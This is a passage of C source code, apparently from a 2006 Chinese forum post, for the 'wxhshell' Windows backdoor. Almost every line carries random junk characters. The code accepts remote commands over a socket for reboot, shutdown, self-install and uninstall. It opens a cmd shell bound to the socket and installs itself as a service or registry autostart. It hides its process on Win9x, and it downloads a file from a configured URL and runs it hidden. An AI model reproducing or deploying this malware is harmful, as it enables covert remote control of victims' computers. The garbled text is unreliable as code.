  } Z+zx*(X  
  else { i2PPVT  
D~KEjz!bQ  
    switch(cmd[0]) { hXvg<Rf  
  8veYs`  
  // 帮助 ?q&*|-%)_d  
  case '?': { E7XFt#P.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :d&^//9  
    break; ,]OL[m  
  } dy4! >zxF  
  // 安装 nm!5L[y!0  
  case 'i': { t-xw=&!w  
    if(Install()) n1X.]|6'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QQ+?J~  
    else |j[=uS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Ws-s f]  
    break; :/Zy=F9:  
    }  X,zqI  
  // 卸载 8x`?Yc  
  case 'r': { Zcaec#  
    if(Uninstall()) -SZW[T<N"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l7{Xy_66  
    else )czuJ5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s^ t1T&  
    break; Z#-:zD7_  
    } DI P(  
  // 显示 wxhshell 所在路径 a0vg%Z@!  
  case 'p': { t@a2@dX|  
    char svExeFile[MAX_PATH]; C?UV3  
    strcpy(svExeFile,"\n\r"); YS}uJ&WoF  
      strcat(svExeFile,ExeFile); QzjLKjl7p4  
        send(wsh,svExeFile,strlen(svExeFile),0); ^%^~:<N  
    break; g$++\%k&  
    } i+ I%]  
  // 重启 LuM[*_8  
  case 'b': { Kr$ w"]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CM; r\,o  
    if(Boot(REBOOT)) G0Q8"]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Zfg~K(  
    else { BE54^U  
    closesocket(wsh); Cf-R?gn]  
    ExitThread(0); &^R0kCF`  
    } {8NnRnzU  
    break; .t/XW++  
    } Ms^U`P^V~P  
  // 关机 *vx!twu1o  
  case 'd': { we<m%pf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZH9sf~7  
    if(Boot(SHUTDOWN)) Iz'*^{Ssm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !N6/l5kn  
    else { 3SRz14/W_R  
    closesocket(wsh); &ukYTDM  
    ExitThread(0); &zl=}xeA  
    } GqFDN],Wp  
    break; ,tdV-9N[O  
    } UjNe0jt% s  
  // 获取shell Ppw0vaJ^  
  case 's': { _m;#+`E  
    CmdShell(wsh); Vb0((c%&  
    closesocket(wsh); /cPe zX  
    ExitThread(0); :G&tM   
    break; l{:7*U{d  
  } lyBae?%&  
  // 退出 Q@]QPpe  
  case 'x': { `0@onDQVc=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Mlr\#BO"9  
    CloseIt(wsh); B~/:["zTh&  
    break; @M[t|  
    } Z.a`S~U  
  // 离开 A}(&At%n4  
  case 'q': { !/+'O}@-E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +tbG^w %  
    closesocket(wsh); $^ \8-k "  
    WSACleanup(); mnK SO  
    exit(1); 8IErLu}  
    break; b?6-lYE>L  
        } z1LN|+\}  
  } `lAe2l^  
  } |sf&t  
OH2Xxr[bQ  
  // 提示信息 2s(c#$JVS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dLV>FpA\  
} 5PY,}1`  
  } FLT4:B7  
;pK/t=$  
  return; #KC& ct  
} !f 7CN<  
-;/;dz;  
// shell模块句柄 LvlVZjT  
int CmdShell(SOCKET sock) |@{4zoP_N  
{ (vX+ Yw  
STARTUPINFO si; R`? '|G]P  
ZeroMemory(&si,sizeof(si)); 0 K T.@P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SE%B&8ZD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m+y5Q&;f  
PROCESS_INFORMATION ProcessInfo; inO)Y]|f  
char cmdline[]="cmd"; Nj8 `<Sl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gq[|>Rs75  
  return 0; :VP*\K/:  
} B d#D*"gx  
[,A*nU$  
// 自身启动模式 ,{"%-U#z  
int StartFromService(void) )bJS*#  
{ vbH?[ Zr?  
typedef struct $a'n{EP  
{ OEz'&))J  
  DWORD ExitStatus; (9!$p|d*  
  DWORD PebBaseAddress; A*;I}F  
  DWORD AffinityMask; _wMc7`6F  
  DWORD BasePriority; %,HuG-L  
  ULONG UniqueProcessId; 84xA/BRW  
  ULONG InheritedFromUniqueProcessId; [)K?e!c8  
}   PROCESS_BASIC_INFORMATION; El3Y1g3+3  
\k?Fu=@  
PROCNTQSIP NtQueryInformationProcess; U?vG?{A  
T#ktC0W]h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `zQ2 i}Uju  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TQXp9juK  
A 9 I5  
  HANDLE             hProcess; @'go?E)f  
  PROCESS_BASIC_INFORMATION pbi; i98>=y~  
zcF`Z {&+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6[r-8_  
  if(NULL == hInst ) return 0; (o+(YV^  
Q-scL>IkCb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $ {Y? jJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &NvvaqJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iUNlNl ?  
a?_!  
  if (!NtQueryInformationProcess) return 0; : ,0F_["3  
_!vxX ]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r]GG9si  
  if(!hProcess) return 0; 1y\ -Iz^  
*>m,7} L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [^oTC;  
xqP DL9\  
  CloseHandle(hProcess); j c%  
J.nJ@?O+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *{_WM}G  
if(hProcess==NULL) return 0; QqpXUyHp[  
F]_w~1 n5  
HMODULE hMod; :Z(w,  
char procName[255]; oqLM-=0<}  
unsigned long cbNeeded; dRl*rP/  
Wt$" f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WA~PE` U  
PubO|Mf  
  CloseHandle(hProcess); lCyBdY9n  
hUL5V1-j  
if(strstr(procName,"services")) return 1; // 以服务启动 R^[b I;  
[(*ObvEF  
  return 0; // 注册表启动 L[Z SgRTu  
} <=1nr@L  
H1!u1k1nl  
// 主模块 75>)1H)Xm  
int StartWxhshell(LPSTR lpCmdLine) /' +GYS  
{ s{QS2G$5  
  SOCKET wsl; 0a1Vj56{)  
BOOL val=TRUE; S,Y\ox-  
  int port=0; `5J`<BPs  
  struct sockaddr_in door; <B+xE?v4  
itH` s<E  
  if(wscfg.ws_autoins) Install(); G54,`uz2  
n@`D:;?{  
port=atoi(lpCmdLine); UW!*=?h  
lWiC$  
if(port<=0) port=wscfg.ws_port; &CtWWKS"  
1[? xU:;9  
  WSADATA data; U};~ff+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "Uk "  
)/32sz]~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dfU z{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =_\+6\_  
  door.sin_family = AF_INET; F<W`zQ46  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :6N'%LKK  
  door.sin_port = htons(port); h'QEwW  
y<r@zb9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ")gd)_FOS  
closesocket(wsl); GjHV|)^  
return 1; Qp]-:b  
} -W6r.E$mC  
E%+aqA)f  
  if(listen(wsl,2) == INVALID_SOCKET) { oU\Q|mN(  
closesocket(wsl); y2_^lW%  
return 1; (] Zyk, [  
} do-mkvk  
  Wxhshell(wsl); oBBL7/L  
  WSACleanup(); f@G3,u!]i  
{c#{dT  
return 0; z_gjC%(y  
Zze(Ik  
} e9F\U   
a>_Cxsb&`  
// 以NT服务方式启动 FQ" ;v"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *>=|"ff  
{ ".@}]z8  
DWORD   status = 0; nQ\)~MKd  
  DWORD   specificError = 0xfffffff; 'N7AVj  
7Ud  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QqF&lMH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9f wFSJx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TgDx3U[  
  serviceStatus.dwWin32ExitCode     = 0; /:<.Cn>-  
  serviceStatus.dwServiceSpecificExitCode = 0; h 2Kx  
  serviceStatus.dwCheckPoint       = 0; Z'u:Em  
  serviceStatus.dwWaitHint       = 0; )P)Zds@F  
\G+uK:PC,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +nLsiC{&  
  if (hServiceStatusHandle==0) return; ?E6*Ef  
N9|v%-_?)  
status = GetLastError(); ``Yw-|&:Ae  
  if (status!=NO_ERROR) ]>:LHW  
{ Za5bx,^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~_;x o?@ba  
    serviceStatus.dwCheckPoint       = 0; c@uNA0 p  
    serviceStatus.dwWaitHint       = 0; lZ\8$,B)  
    serviceStatus.dwWin32ExitCode     = status; );m7;}gE  
    serviceStatus.dwServiceSpecificExitCode = specificError; CyWaXp65  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =m+'orJ1  
    return; pD+_ K  
  } bk**% ]  
gsqpQq7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *)V1Sd#m  
  serviceStatus.dwCheckPoint       = 0; SYPG.O?I  
  serviceStatus.dwWaitHint       = 0; e Akjpc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7n-;++a5]  
} zF6]2Y?k%  
wX_s./#JJ  
// 处理NT服务事件,比如:启动、停止 P+m{hn~%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Hq{i-z+  
{ w!0`JPu  
switch(fdwControl) /5ngPHy&  
{ 36<PI'l#~  
case SERVICE_CONTROL_STOP: C>d_a;pX  
  serviceStatus.dwWin32ExitCode = 0; z8SrZ#mg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /mb?C/CI  
  serviceStatus.dwCheckPoint   = 0; ;$Eg4uX  
  serviceStatus.dwWaitHint     = 0; qeK_w '  
  { V Q6&7@ c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <$^76=x,8P  
  } z*cC2+R}=  
  return; p*T`fOL  
case SERVICE_CONTROL_PAUSE: <5s51b <  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6n{`t/  
  break; ~mqiXr8  
case SERVICE_CONTROL_CONTINUE: 1N#KVvK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6]=R#d 7U  
  break; ,qS-T'[v,(  
case SERVICE_CONTROL_INTERROGATE: Hoaf3 `n  
  break; ):@XMECa  
}; o<*H!oyP\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (RP"VEVR  
} _E[zYSo`  
pNN6PsLt  
// 标准应用程序主函数 n5Ad@Bg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [MmOPm}@  
{ kxJ! #%w  
d]JiJgfa%  
// 获取操作系统版本 %1uY  
OsIsNt=GetOsVer(); hrpql_9.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #S57SD  
n M +(  
  // 从命令行安装 wic& $p/%  
  if(strpbrk(lpCmdLine,"iI")) Install(); }n+#o!uEf  
6]=$c<.&  
  // 下载执行文件 ^:.=S`,^  
if(wscfg.ws_downexe) { 35dbDgVz$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) no*p`a *  
  WinExec(wscfg.ws_filenam,SW_HIDE); T+_pmDDN  
} STDT]3.  
'!)|;qe  
if(!OsIsNt) { 9o|=n'o  
// 如果时win9x,隐藏进程并且设置为注册表启动 9sQ4 $  
HideProc(); kKU,|> 3h  
StartWxhshell(lpCmdLine); \ /3Xb  
} VP|ga }(  
else EkV LSur  
  if(StartFromService())  #K8kz  
  // 以服务方式启动 g1JBssw&m  
  StartServiceCtrlDispatcher(DispatchTable); }B=`nbgIG7  
else orB8q((  
  // 普通方式启动 ;(cq aB  
  StartWxhshell(lpCmdLine); #$&!)13  
k_p4 f%9  
return 0; xef@-%mcoy  
}
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只看该作者 1 发表于: 2006-10-10
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